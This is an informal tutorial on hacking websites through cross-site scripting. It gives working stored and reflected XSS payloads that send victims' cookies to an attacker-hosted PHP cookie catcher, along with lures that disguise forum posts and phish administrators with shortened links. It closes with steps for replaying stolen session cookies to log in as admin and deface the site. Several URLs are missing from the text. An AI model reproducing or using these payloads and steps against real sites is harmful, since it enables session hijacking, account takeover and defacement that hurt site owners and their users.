complete xss tutorial
xss is in 2 ways, persistent and non-persistent type.

for xss we will use something called a cookie catcher.
question will be that why we would need someone else's cookie?
the answer is that we can change our browser's cookies to login as them!!! so lets call it session hijacking

first go to a free hosting site like or other php hosting sites and register there. then download this cookie catcher and upload it.

cookie catcher:

what does the cookie catcher do?
it grabs the user's:
referral link which what page it got to that link
time and date

get vulnerable sites:

ok first we need sites that are vulnerable to xss so it will work on them.
to test it we will need to add a code after the link.
i will use this site that many of you probably saw it before.

now for testing if a site is vuln or not you can add these codes:
or a new one which i found out myself which you can inject html:
"><body bgcolor="ff0000"></body>
"><iframe src="" height=800 width=800 frameborder=1 align=center></iframe>

then if we see a java script popup like this:
spoiler click to view
or if you used my testing and you saw the page's background go black or a page of google opens in that site means its vulnerable to xss attacks.

in the end, if your site is the link to test it would be:"><script>alert(document.cookie)</script>

persistent xss:

in this method we will grab the victim's cookies with no suspection and completely stealth.
now assume we have a forum which has html enabled or a site which has a comment page which is vulnerable to xss.
ok now lets go to this site:
now test and see if the xss vulnerable test's work on it.
it does!!! and your getting one of the vulnerability's symptoms. so now lets try to grab it's cookies. if there is a box to type and submit it add this:
<script>document.location=" catcher.php?c=" + document.cookie</script>
and submit that post in the forum or the comment box also its good to add something before adding the code like: hey i got a problem logging in???
so they wont suspect you

refresh the page, now go to the newly created page, in the same directory as you saved your cookie catcher .php search for cookies.html which is a new file that show you the cookies. like if your cookie catcher link would be: catcher.php
the container of the cookies would be:

now visit cookies.html and you would see the session of that cookie!
ps: the site i used doesn't support cookies so you can use: for cookie supporting.

now there is another way for a cookie grabbing drive by, add this code and post it:
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location=" catcher.php?c=" + document.cookie)</iframe>
then post it in the forum or the comment box.
now this will open a iframe in the page which will allow you to have the same page in that website. if you don't know about iframes make a new html file in your computer and just do a

<iframe src=""></iframe> and you will understand iframes more

ofc the site needs to have cookies supported! a blank javascript means you need to go to another site.

non-persistent xss:

ok in this method we will make the victim admin go to our link. first we will pick a xss vuln site. for this method we will need a search.php which that page is vuln to xss and has cookies in that page. in the vuln search.php in the textbox for the word to search for type:

and click the search button. if you see a javascript popup means its vuln to non-persistent xss attack. ok now we will do something similar.
i will use this link for this method:
now in front of the search.php?search= add this:
"><script>document.location=" catcher.php?c=" + document.cookie</script>
now go to and shrink the whole page's link. try to find a site administrator's e-mail in that vuln website and send a fake

now in the body just tell something fake like: hey i found a huge bug in your website! and give him the shrinked link of the search.php which you added the code in front of it to him. so the tinyurl will mask it and once he goes to the link you will see his cookies in your cookies.html and he will just be redirected to the link in your cookies catcher. no matter what he does and changes his password you can still login as him

session hijacking:

ok now you have the admin's cookies either way, so we need to edit our own browser's cookies. first go to that page's admin login or its main page and delete all of your cookies from that page. now go in your cookies.html page and copy everything in front of the cookie: in a note opened notepad. the ; separates cookies from each other so first copy the code before the ; .
now go in that vuln website and clear the link. instead add this:
or for an example:
javascript:void(document.cookie="__utma=255621336. 1130089386.1295743598.1305934653.1305950205.86")

then visit the link. do this with all of the cookies and refresh the page. and wham!!! your logged in as administrator
so now go in your admin panel and upload your deface page.

good luck now you hacked a site with xss